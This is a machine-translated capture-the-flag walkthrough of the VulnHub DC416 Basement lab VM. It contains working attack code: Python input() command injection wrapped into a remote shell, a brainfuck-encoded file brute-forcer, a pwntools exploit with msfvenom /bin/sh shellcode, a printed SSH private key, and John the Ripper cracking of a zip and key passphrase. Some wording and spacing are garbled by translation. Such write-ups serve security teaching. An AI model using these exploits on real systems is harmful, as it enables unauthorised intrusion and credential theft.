📜 ⬆️ ⬇️

VulnHub: Blind operation and Brownface in DC416 Basement


Continuing CTF analysis from DefCon Toronto's conference. The tasks are provided by the VulnHub team, for which many thanks to them. And we will consider DC416 Basement .
Below, you can see the previous ratapom:


Let's start


We start virtualka, and proceed to search for open ports:
$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535 

Nmap scan report for 192.168.1.221
Host is up (0.00086s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
22 / tcp open ssh OpenSSH 6.7p1 Debian 5 + deb8u3 (protocol 2.0)
80 / tcp open http Apache httpd 2.4.10 ((Debian))
8080 / tcp open http-proxy ------ [-> +++ <]>. [-> +++ <]> .---. ++++.
8090 / tcp open unknown
10,000 / tcp open snet-sensor-mgmt
10001 / tcp open tcpwrapped
MAC Address: 08: 00: 27: DF: F5: 5E (Oracle VirtualBox virtual NIC)

Scanning directories did not bring results:
 $ sudo dirsearch -u http://192.168.1.221 -w /usr/share/dirb/wordlists/big.txt -e php,txt,bak,jpg,json,html -r -f 



Flag 1


 $ nc 192.168.1.221 10000 


')
Well, apparently this is Python2 , with its great input function. Let's try to execute our code and see the contents of the current directory:
 $ nc 192.168.1.221 10000 Please enther number of packets: __import__('os').system('ls') flag.txt ping.py run_ping.sh PING localhost (127.0.0.1) 56(84) bytes of data 

For further convenience, arrange a small Python shell for yourself:
 #!/usr/bin/python3 import socket from time import sleep host = '192.168.1.221' port = 10000 def connect(data): s = socket.socket() s.connect((host, port)) s.recv(1024) s.send(('%s\n' % data).encode()) sleep(0.5) req = s.recv(4096) print(req.decode()) cmd = '' while cmd != '\q': cmd = input('> ') connect("__import__('os').system('%s')" % cmd) 

Having looked around in the system, we take the first flag from the user's home directory:
 > cat ./flag.txt flag{j4cks_t0t4L_l4cK_0f_$uRpr1sE} 

Plus, we find a strange file in the .secret directory:
 > ls -ahl ..... drwx------ 2 jack jack 4.0K Nov 21 16:53 .secret > ls -ahl .secret -rw------- 1 jack jack 2.0K Nov 21 16:53 marla.xip 

The file seems to be for Mac OS , so leave it for now.

Flag2


When scanning port 8090, nmap detected an unknown web service there, let's see what is there:
 $ curl http://192.168.1.221:8090 

 <!DOCTYPE html> <html><head><title>Moved</title></head><body> You should be <a href="http://localhost/flag.mpg">redirected</a>. </body></html> 

After running wget , an endless download has begun, probably the video is sent in a looped stream. Interrupting the download and launching it we hear a robotic female voice, which dictates the following sequence to us:
102 108 97 103 123 98 82 52 105 110 95 112 97 82 97 115 49 116 101 36 125

It then reports that this is a flag and starts over. Using the site , convert it into text and get the next flag:
flag {bR4in_paRas1te $}

Flag3


Port 8080. This is probably also a web service by viewing the ps command log:
tyler 1319 0.0 0.1 4080 636? S 11:49 0:00 / home / tyler / tiny 8080

We recognize the user to whom he belongs, as well as the fact that the root directory is probably the user's directory. Opening it in curl , we get an ASCII image and a rather weird server header:
 $ curl http://192.168.1.221:8080/ -vv 

 * Hostname was NOT found in DNS cache * Trying 192.168.1.221... * Connected to 192.168.1.221 (192.168.1.221) port 8080 (#0) > GET / HTTP/1.1 > User-Agent: curl/7.35.0 > Host: 192.168.1.221:8080 > Accept: */* > < HTTP/1.1 200 OK * Server ------[-->+++<]>.[->+++<]>.---.++++. is not blacklisted < Server: ------[-->+++<]>.[->+++<]>.---.++++. < Content-length: 36246 < Content-type: text/html 

Very similar to brainfuck . After decoding, for example, here we get the line: webf
Scanning the directories of the result did not bring again, after long attempts, by connecting to this port via netcat , something began to clear up:
 $ nc 192.168.1.221 8080 

 123 HTTP/1.1 501 Not Implemented Content-type: text/html <html><title>Error</title><body bgcolor=ffffff> 501: Not Implemented <p>+[------->++<]>.+.+++++.[---->+<]>+++.++[->+++<]>.+++++++++.++++++.-------.----------.: 123 <hr><em>------[-->+++<]>.[->+++<]>.---.++++.</em> 

In response, we again received a response to the brainfuck , apparently this server only works on it. The situation is further complicated by the fact that after each unsuccessful request, the server crashes. Below is an attempt to implement brute directories:
 #!/usr/bin/python3 import socket import sys import re from time import sleep def char2bf(char): result_code = "" ascii_value = ord(char) factor = ascii_value / 10 remaining = ascii_value % 10 result_code += "{}".format("+" * 10) result_code += "[" result_code += ">" result_code += "{}".format("+" * int(factor)) result_code += "<" result_code += "-" result_code += "]" result_code += ">" result_code += "{}".format("+" * remaining) result_code += "." result_code += "[-]" return result_code def str2bf(string): result = "" for char in string: result += char2bf(char) return result def connect(file): host = '192.168.1.221' port = 8080 req = 'GET %s HTTP/1.0\n\n' % (str2bf(file)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((host, port)) s.send(req.encode()) sleep(1) data = s.recv(90480) s.close() except: s.close() return 500 data = data.decode() if 'HTTP/1.1 404 Not Found' in data: pass elif 'HTTP/1.1 200 OK' in data: print('File %s found' % file) print(data) wlist = open(sys.argv[1]).read().splitlines() for item in wlist: if connect(item.strip()) == 500: print('Item %s not found' % item) sleep(500) 

Throwing a small dictionary, with the possible contents of the user directory, you can run and go for tea:
 $ ./brainfuck.py test 

However, after some time, in the log, we notice ssh user key tyler
id_rsa
File .ssh / id_rsa found
HTTP / 1.1 200 OK
Server: ------ [-> +++ <]>. [-> +++ <]> .---. ++++.
Content-length: 1675
Content-type: text / plain

----- BEGIN RSA PRIVATE KEY -----
MIIEowIBAAKCAQEApTSRfQBEqWjDTZZp0YHpOzDQ8zmo2NvTguHworeU9Yk26Zez
R3HtoKL99hRwJrqsRzeDb2OaZcnFgHAK95zEibHRJzXbWTJ8hq + lLri8gNM62WVf
mMe5Jd5QWkrmskUxSX0mlj3faJwtDphYmWUUbn3CN1eDI7ePqoAcWpMFeqQYXe / 5
HaPrKZxe6WCQsgFcj3zIz + U9Qidz8x / ZKYDCFJ + aLuoo3HUB + EHT9abirjLKbHvM
BcstMNt23GD3KF549M2d5i5YC7o6LD8yBwifIIS2g3wNRfOsplrY / DEacILqaI7p
xM3EpIahPt / Vn3 / DylVNyHoXP / hbXLtgoZwYAwIDAQABAoIBAAedhbtaYM / iWWZh
MZ2LvIGS / X7IwKTGdViKK7qEdeRfn91itcvsT4ThHo3SYV0Xq8tYnsFquPpKM8V4
5LiHTHQAc2C4VdUlw6G9xQKDV4Ukt4i / 6Ik1Y66AMfoHi9zZ3azCjR3N2leLI3SR
xzvC8g8p0uMUMKJb2s6EO0pdjpoZlV / 6JbcckushCQIJieHr00pq / w1fcY438DoR
OnPfGeJgkQQgfJ8W77CDNRtECpP8WBsr4hDJZXq3ink2BDZRYwO8o / nOuEGOKlAp
34j7ks5M / LOcKVskdIzz2vCc0OvtyNQ0Fk / e1INbkbwvhKUgF9t4dCBC9wF4YKx7
lBK4eAECgYEA1ntOisRF9D3 + 7EBN3pCQ2SssXFpmdnYjdzX2aETfcnSzU52ODRGw
p5BFkZBhnPz / as7BrvufRGSM76eBHzUaRA4mNEe2EX49PsGtr + ONo2jIU6Ee19WP
0sn + iINdw9JOK9Rma7WlYdaJuEs4DRzO3LX9cn5P4IUgBUaUOv3RFAMCgYEAxS9c
ZNYUfgV29tlUHzyqdSKIDt / jB7yNDyCGBJYy1KBO9vAkM44haqNln6eGXaveXxBh
n + gRG + MD8NBUv8VfCoU7ZKqHWpzgDfJOa3DBFM + 8IcDRj1KT1weg4NRdlsmz4A1X
/ Os3RIlXZ5MHuTPnpXFcjS70oqbmDU571w9zrAECgYAQLHA5yp8z0dD9Y8P7eo9R
sQ3BURfU6we1n54bMsZezSoQrhreJW1a1WhJl8eknPdtyHWWimbyM1rlX44 / GjQG
2cJLwvSZ0RkxOE2uq8wsfGRO2iGHSRV1YcIN7UoO0DcQ2w12JdZ40ELGYPWzF28J
+ bdJAPlpBuDpRO88m5M + nQKBgGoXglGqsVngnNJRuiYYYOonCyddpGwcMZUK / bBo
E689FV9dc0zd0vLqORo + a1foyftB + BSuKs5jRVKC9KY9jlY9uuf9rFe / gfle / nxm
LSyCXImYkefYGT0fmJp / CF / B5GrPIyEseQ8CCinq / MPTvnXQWWiI9AyzWaGdMZpT
cPwBAoGBAIAULQyYmeipsRQvKUMCjVFPIpv2IXxnFTnaiJ1kbPOuN7MuagRD1ZDf
FmPq8mIDg2oCKIq0 / iOsmGmLaPXJADXAOXFWjDmWTHt7RKBvxOT6fNfCqEW29wkG
6XOdjh0Q6lKwxyOuFamIaEmCgoq7Ez7aRwgzf5KzIrw / vV3reIzI
----- END RSA PRIVATE KEY -----

We try to log in, and find the following flag:
 $ ssh -i /tmp/id_rsa tyler@192.168.1.221 



Flag 4


We still have port 10001. From the ps log you can see that the 10 byte service is hanging on this port
robert 1331 0.0 0.5 19644 2748? S 11:50 0:00 socat TCP-LISTEN: 10001, reuseaddr, fork, range = 127.0.0.1 / 32 EXEC: ./ tenbytes, pty, stderr, echo = 0

But when connecting from outside, nothing happens. Let us ssh-tunnel to the attacked host:
 $ ssh -i /tmp/id_rsa -L 10001:127.0.0.1:10001 -N tyler@192.168.1.221 

And so, when connected, we are asked to enter 10 bytes to run:
 $ nc 127.0.0.1 10001 Tee hee! Gimme ten bytes to run! 

If we assume that most likely the reading is done using the read function, into a buffer, which is then executed via call . That is more or less clear. You need to send a code of 10 bytes. Which then somehow starts the shell. After seeing what the read function call looks like, for example on this site. You may notice that the size of the buffer for reading is transmitted through the register EDX . We can try to increase the value of EDX , thereby increasing the buffer for reading, then call the read function again, with the new buffer, and send our shell code there. To write an exploit, we use the pwntools framework.
Prepare the shell:
 $ sudo msfvenom -p linux/x64/exec cmd=/bin/sh -f py -v shell shell = "" shell += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68" shell += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6" shell += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68" shell += "\x00\x56\x57\x48\x89\xe6\x0f\x05" 

Now directly the code that we will send to change the EDX :
 def gen_payload(offset): payload = "" payload += "\x01\xd2" # add edx, edx payload += "\x5f" # pop rdi payload += "\x48\x83\xef" + chr(offset) # sub rdi, offset payload += "\xff\xe7" # jmp rdi payload = payload.ljust(10, "\x90") return payload 

I will explain a little what is happening here:

Initially, I tried to put any value greater than the sent shell into the EDX , but this did not work, so I tried to also pick up the EDX . The final script is presented below:
 #!/usr/bin/env python2 from pwn import * context(bits = 64, os = 'linux', aslr = True, ) port = 10001 host = '127.0.0.1' def encode_payload(p): return ''.join(['\\x%0.2x' % c for c in bytearray(p)]) def gen_payload(offset): payload = "" payload += "\x01\xd2" # add edx, edx payload += "\x5f" # pop rdi payload += "\x48\x83\xef" + chr(offset) # sub rdi, offset payload += "\xff\xe7" # jmp rdi payload = payload.ljust(10, "\x90") return payload isEdxValid = False validEdx = 80 # len(shell)==48 while isEdxValid == False: offset = 0 while offset <= 255: try: log.info('Current offset is %d' % offset) p = remote(host, port) payload = gen_payload(offset) log.info( 'Payload: %s' % (encode_payload(payload)) ) p.recvline() EDX = 0x0a while EDX < validEdx: p.send(payload) EDX += EDX log.info('EDX now is %d' % EDX) shell = "" shell += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68" shell += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6" shell += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68" shell += "\x00\x56\x57\x48\x89\xe6\x0f\x05" log.info('Sending shellcode') p.send(shell) # check for no tty message p.sendline() output = p.recvline(timeout=0.5) if output and 'tty' in output: log.success('Found offset!!! %d' % offset) isEdxValid = True break if offset == 255: log.error('No valid offset found!') isEdxValid = False count += 1 p.close() except EOFError: log.warning('Error on offset %d' % offset) p.close() finally: offset += 1 validEdx += validEdx p.interactive() 

After the launch, the brute force shifts begin, and the number of read bytes is increased. After some time, the necessary parameters were found, and we get access to the shell, from the user robert , and with it his flag:

Below is the disassembled listing of the main function from the tenbytes application:
Main function
 .text:0000000000400626 main proc near ; DATA XREF: start .text:0000000000400626 .text:0000000000400626 var_30 = qword ptr -30h .text:0000000000400626 var_24 = dword ptr -24h .text:0000000000400626 var_18 = qword ptr -18h .text:0000000000400626 var_10 = qword ptr -10h .text:0000000000400626 buf = qword ptr -8 .text:0000000000400626 .text:0000000000400626 push rbp .text:0000000000400627 mov rbp, rsp .text:000000000040062A sub rsp, 30h .text:000000000040062E mov [rbp+var_24], edi .text:0000000000400631 mov [rbp-48], rsi .text:0000000000400635 mov edi, offset s ; "Tee hee! Gimme ten bytes to run!" .text:000000000040063A call _puts .text:000000000040063F mov r9d, 0 ; offset .text:0000000000400645 mov r8d, 0FFFFFFFFh ; fd .text:000000000040064B mov ecx, 98 ; flags .text:0000000000400650 mov edx, 7 ; prot .text:0000000000400655 mov esi, 4096 ; len .text:000000000040065A mov edi, 0 ; addr .text:000000000040065F call _mmap .text:0000000000400664 mov [rbp+buf], rax .text:0000000000400668 mov rax, [rbp+buf] .text:000000000040066C mov edx, 0Ah ; nbytes .text:0000000000400671 mov rsi, rax ; buf .text:0000000000400674 mov edi, 0 ; fd .text:0000000000400679 mov eax, 0 .text:000000000040067E call _read .text:0000000000400683 mov rax, [rbp+buf] .text:0000000000400687 mov [rbp+var_10], rax .text:000000000040068B mov rax, [rbp+var_10] .text:000000000040068F mov [rbp+var_18], rax .text:0000000000400693 mov rax, [rbp+var_18] .text:0000000000400697 call rax .text:0000000000400699 mov rax, [rbp+buf] .text:000000000040069D mov esi, 4096 ; len .text:00000000004006A2 mov rdi, rax ; addr .text:00000000004006A5 call _munmap .text:00000000004006AA mov edi, 0 ; status .text:00000000004006AF call _exit .text:00000000004006AF main endp 



Flag 5


We still have the file marla.xip . The file extension is very similar to zip , but it’s impossible to open it using standard methods. Let's try to poke it and see what comes of it, using xortool :
 $ xortool marla.xip -b 



Something was found, now let's filter the result:
 $ file xortool_out/* | grep Zip xortool_out/000.out: Zip archive data 

Archive found, let's see what's in it:
 $ 7z l xortool_out/000.out 



Apparently this is the private ssh key of the user marla . However, just because it can not get it, the archive is also password-protected. Compile John The Ripper as described here . Extract the hash:
 $ ./zip2john /tmp/marla.zip > /tmp/marla.zip.john 

And after launch we get the required password:
 $ ./john /tmp/marla.zip.john 

Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 8x SSE2])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C for abort
m4rl4 (marla.zip)
1g 0: 00: 00: 00 DONE 1/3 (2017-01-08 23:56) 1.219g / s 3219p / s 3219c / s 3219C / s m4rl4.zip..mar1a.zipzip
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Great, there is a password from the archive. But this is not all, if you look at the file in which the private key is located:
marla
----- BEGIN RSA PRIVATE KEY -----
Proc-Type: 4, ENCRYPTED
DEK-Info: AES-128-CBC, 4A3641AA61921099DAB3E32222AE8221

k8zDFT8UXhpb7Dn + KzYv6mYuAI0vF25s / zFpuvtm31FtTwOAzqz + ukei2DR + r4Zb
QKGV5EPf0ymcx6Nh4X700eRa555hFDrWMRwLAy7bTkYK5MbLY3On7BqBnmpbs / bd
Pd / VpmvMtUnl8YcMF756NLt0sgqwWbf8DGFUcJZTGEsZhwTL86cCYyFbbdOHijzY
Wi + OjgVBxw62VrdEn8HHA0Hks72LRGAsXLJ4ReT6nm / 6H88idKHtnc1CXGzUtEwR
E7 / Bzzqn / P1rTrnPp / adV4oAC + Q86Sdy5RHuH35KC6c6WgpFRprqeWeLdf6aBBF0
yadmGUu4PrWP7iYd7Bc4k2Czlr0pk1x0GjqedjFYmPWypllfZvMriQa6QhYkKlGl
ecEm8Usrok54u8jX1VZtdRu1 + 6gNPZcw8FOK1GTks2L9ywvWoSNOGr5LFBDBYufq
SNNUQq0cEyAl3KaPT5vPyEcrqAa7NKmIl5uImECPG93iIsfOt3P4ujVwWuT3p100
KHnHEybuZXTBRUPmHoE + wXvFyLAWzHG8d6cy18FzGEyogUbs + d5GmdFjsyaaLeES
8AtkGrWrUAgo / NDpbVdHoLmwjzvxlDkk + Uk3 / KN5qjFKajbav9EoMJNeCac1Ax0i
KHiSvyPtifWu9Mj8IYq6zIVVFoVPc4swDrqxsNkwA8uAXLCIBk / lHOBryIPVmsOd
4gWhae23ul + HC5gHwlXUfq5Zrljhqpw9D50veSizqdtwmWgvs1crkddXbTwUSvrb
kZHQoY2PqfJPmF3TNt5RQvwNIaOMospy29niKk / qICaZ1t9KUyMdfNmyVzHGnJPz
Ae6pdfCsgoymkO1zd4TVaGTRH2tt0ZRXECHPTG / 5i8IRJGB4hlTJ4z0QNcVPQGdF
sI9GuUuRzaIpVbbxf50OG5qWfVRJR2lWwfvIEgmfvKQs9qJBq4X05NeagWoDKhrH
/ 90k1S3GI5rw9RyjzD1I4k1li + PjyWs + wZAEn39Hqlxuk + gMWuKCr6Wel / dV3exU
XlkGJLJo1SUK1Uh2Z6CeSwdSVMf2j21pMbeaw8U9RQund9EOwln8JDKtdQXYW9ba
SE / hUpvlNHPG / 90Tp2JQCkk / MinwV4IGev7mn9piltL8Q7qcU1o9TpAxtdonyaYI
UYnzpv + g / 0fhKnycwRttVukt7Mtgvr0SMCXcImMjdnDpVxbrbEWtLgFsZayg + SzQ
/ 03KMOA9AVoo48ZlLa + oERqeedXDBqmKkNJwIsBcYEywHl6NlEHCZk2S / lcr + ra9
im + l2nua3IvYYIRnWHWoLs0D + Hi / PvQHmj3e2YBeIZMYGPHk8XQ17cofwqU7VDr7
x6nP22au0LGKTj4 + E46r1hEWs9C0X8AMJjfShb + CyN / imo / 3a3bJiazE1F5IpKlY
5UejDh7GCcxnvmjXlY4q + 7DeJlz5VSjKjfR5V0b5mkcLEI18c2sBkTVdMVzzBGQO
kTNSGJSOrF5el9 + wlpLY4E8loocJpzH3P3uu + fOwHtNiul5RAlotfJnJd9lYea5k
W581cgXIWgN6actoiIGZXlHKB5Zsdb3GdmmG0Lb50lsL4GH8MIKDKdumUKSwrT20
----- END RSA PRIVATE KEY -----


It can be seen that the password phrase is set on it. But this is not a problem, we extract it, and send John 'to:
 $ ./john-1.8.0-jumbo-1/run/ssh2john marla > marla.ssh $ sudo ./john-1.8.0-jumbo-1/run/john marla.ssh 

Loaded 1 password hash (SSH [RSA / DSA 32/32])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C for abort
singer (marla)
1g 0: 00: 00: 00 DONE 2/3 (2017-01-09 01:11) 1.086g / s 2165p / s 2165c / s 2165C / s rangers..88888888
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Having everything you need, log in via ssh and pick up the last key:
 $ ssh -i marla marla@192.168.1.221 Enter passphrase for key 'marla': 

The programs included with the Debian GNU / Linux system are free software;
terms of each program are described in the
individual files in / usr / share / doc / * / copyright.

Debian GNU / Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
well done! your flag is flag {l4y3rs_up0n_l4y3rs}
Connection to 192.168.1.221 closed.

All keys are collected. The call is complete! You can proceed to the following virtual machine images from the DC416 series.

Source: https://habr.com/ru/post/318998/


All Articles